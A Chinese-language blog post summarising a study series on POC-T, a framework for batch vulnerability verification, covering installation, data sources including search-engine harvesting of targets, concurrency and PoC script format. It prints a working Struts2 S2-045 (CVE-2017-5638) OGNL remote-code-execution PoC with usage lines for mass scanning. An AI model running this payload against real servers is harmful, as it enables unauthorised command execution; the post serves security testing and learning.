POC-T框架学习————10、小总结
前言
本小节主要对POC-T框架的学习做一个小小的总结,顺便总结一下自己在源代码分析方面的认知。
需求分析
当互联网爆出高危漏洞或者团队内部挖到0day的时候,无论是甲方还是乙方都需要了解漏洞的影响面,这个时候就需要使用POC进行批量验证,而POC-T就孕育而生了,他不需要任何模板和继承,而且能够扩展其他功能,又能保证效率的最大化,不用每次写脚本都查文档格式,只需要“一个脚本,一条命令”花费三五分钟即可搞定!
简介与使用
数据高并发需求
要实现高效率批量操作,那么我们就要用到“数据并发处理”,而要实现这一点我们需要解决下面的三个关键点:
- 数据:数据怎么来?
- 处理:逻辑是什么?
- 并发:如何实现?
设计思路
相关的脚本辅助工具
安装方法
git clone https://github.com/Xyntax/POC-T
pip install -r requirement.txt
python POC-T.py
功能参数说明
运行示例
数据来源
POC-T的数据来源很丰富,包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口(-aG、-aZ、-aS、),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中,同时你可以设置Google代理,参数--limit的作用则是用于限制搜索数目的:
数据处理逻辑
数据的处理逻辑也就是POC对漏洞的验证,在POC-T框架的script目录下面已经有很多作者维护的POC脚本了,我们可以利用--show参数来查看现有的POC验证脚本名
在加载参数时我们可以使用-s POC名称来加载。
并发如何实现
POC-T框架的并发引擎有多线程(-eT)、协程(单线程异步-eG)来实现,而且有并发数量参数(-t)来指明并发的数量,默认值为10。
命令格式大致如下:
Python POC-T.py -s POC模块 -aZ “port:22” --limit 100
POC脚本编写
POC-T的验证脚本只需要一个poc()函数即可,成功就返回true或者自定义的信息,失败就返回False,除此之外没有任何限制。下面为POC-T的一个demo:
从上面我看可以看到一个POC的基本格式为:
def poc(input_str)try:...全部脚本逻辑...except:return False
再如S2-045的POC验证程序:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = 24''"""
Struts2 S2-045 Remote Code Execution PoC (CVE-2017-5638)Version:
2.3.5-2.3.31, 2.5-2.5.10Usage:
python POC-T.py -s struts2-s2045 -aG "inurl:login.action" --gproxy "http 127.0.0.1 1080"
python POC-T.py -s struts2-s2045 -aZ "login.action"
python POC-T.py -s struts2-s2045 -iF FILE.txt
"""import requests
import randomdef poc(url):if '://' not in url:url = 'http://' + urltry:a = random.randint(10000000, 20000000)b = random.randint(10000000, 20000000)c = a + bwin = 'set /a ' + str(a) + ' + ' + str(b)linux = 'expr ' + str(a) + ' + ' + str(b)header = dict()header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#iswin?(#cmd='" + win + "'):(#cmd='" + linux + "')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"r = requests.get(url, headers=header, timeout=5)if str(c) in r.text:return '[S2-045]'+urlelse:return Falseexcept Exception:return False
在运行时框架的每个线程都会调用poc这个函数,并把目标url复制给POC函数。
其他的功能
爆破:/script/burte-example.py
爬虫:/script/spider-example.py
旁站:/script/bingc.py
POC-T框架学习————10、小总结相关推荐
- Django框架学习——10—(QuerySet源码、QuerySet的方法、将QuerySet转换为SQL去执行、ORM模型练习)
1.QuerySet源码 我们通常做查询操作的时候,都是通过模型名字.objects的方式进行操作.其实模型名字.objects是一个django.db.models.manager.Manager对 ...
- ROS 重要框架、接口学习资源小汇总
ROS 重要框架.接口学习资源小汇总 文章目录 ROS 重要框架.接口学习资源小汇总 1. ROS move_base框架 1.1 视频资源: 1.2 文本资源: 2.smach状态机 2.1 文本资 ...
- [源码解析] 深度学习分布式训练框架 horovod (10) --- run on spark
[源码解析] 深度学习分布式训练框架 horovod (10) - run on spark 文章目录 [源码解析] 深度学习分布式训练框架 horovod (10) --- run on spark ...
- mybatis框架--学习笔记(上)
使用JDBC操作数据库的问题总结: (1)数据库连接,使用时创建,不使用时立即释放,对数据库进行频繁连接开启和关闭,造成数据库资源浪费,影响数据库性能. 设想:使用数据库连接池管理数据库连接. (2) ...
- JavaSE中Map框架学习笔记
前言:最近几天都在生病,退烧之后身体虚弱.头疼.在床上躺了几天,什么事情都干不了.接下来这段时间,要好好加快进度才好. 前面用了三篇文章的篇幅学习了Collection框架的相关内容,而Map框架相对 ...
- PyTorch框架学习二十——模型微调(Finetune)
PyTorch框架学习二十--模型微调(Finetune) 一.Transfer Learning:迁移学习 二.Model Finetune:模型的迁移学习 三.看个例子:用ResNet18预训练模 ...
- PyTorch框架学习十七——Batch Normalization
PyTorch框架学习十七--Batch Normalization 一.BN的概念 二.Internal Covariate Shift(ICS) 三.BN的一个应用案例 四.PyTorch中BN的 ...
- PyTorch框架学习十六——正则化与Dropout
PyTorch框架学习十六--正则化与Dropout 一.泛化误差 二.L2正则化与权值衰减 三.正则化之Dropout 补充: 这次笔记主要关注防止模型过拟合的两种方法:正则化与Dropout. 一 ...
- PyTorch框架学习十五——可视化工具TensorBoard
PyTorch框架学习十五--可视化工具TensorBoard 一.TensorBoard简介 二.TensorBoard安装及测试 三.TensorBoard的使用 1.add_scalar() 2 ...
最新文章
- 跨区域MPLS TE
- 独家 | 微软与哈佛大学定量社会科学研究所合作开发开放数据差异隐私平台,开启研究新征程(附链接)...
- .Net 转战 Android 4.4 日常笔记(3)--目录结构分析
- java和python可以在一个项目中同时使用么-java调用python的几种用法(看这篇就够了)...
- JavaScript中的nodeName nodeType nodeValue区别
- 服务端渲染vs客户端渲染到前后端同构
- unigui中TUniDBEdit的OnEndDrag问题
- Nature | 我的研究对后人毫无用途:21%的学术论文自发布后从未被引用
- ASP+页缓存OutputCache Duration用法
- Linux查看与修改时区、时间的命令
- Redis手动failover
- 为什么学习web前端,必须掌握JavaScript这门编程语言
- 表单html遇到的问题及处理,Web前端开发中常见问题及解决方案
- 有佳文档管理v2.03
- 一文读懂APU/BPU/CPU/DPU/EPU/FPU/GPU等处理器
- 产品经理快(ku)乐(bi)的一天~
- cmf+ThinkPHP6.0 配置使用多应用路由
- background属性总结
- 32位计算机装64位操作系统,电脑应该装32位还是64位系统?
- 程序员文史综合题目(附答案)【转】
热门文章
- 最新消息!信息系统项目管理师教程改版!
- 基克的聚合 机器人_s11机器人怎么出装
- 梦幻西游-北京1区-紫禁城-帮派-楚国(编号:3985)的一生、梦幻西游2-帮派升级规模的时候被解散了...
- 计算机丢失dll文件夹,电脑缺失dll文件一键修复win10图文说明
- 极速引流十八式(1)
- 果汁机霍尔开关 MH251(原装正版)+双节升压充电 远翔FP6291(原装正版)
- 懒人技能,svn命令行提交新增的文件
- 电脑开机密码忘记了怎么办 怎么破解电脑开机密码
- 巴菲特说的七段话,简短精辟
- 控制DAIKIN大金比例压力溢流阀放大器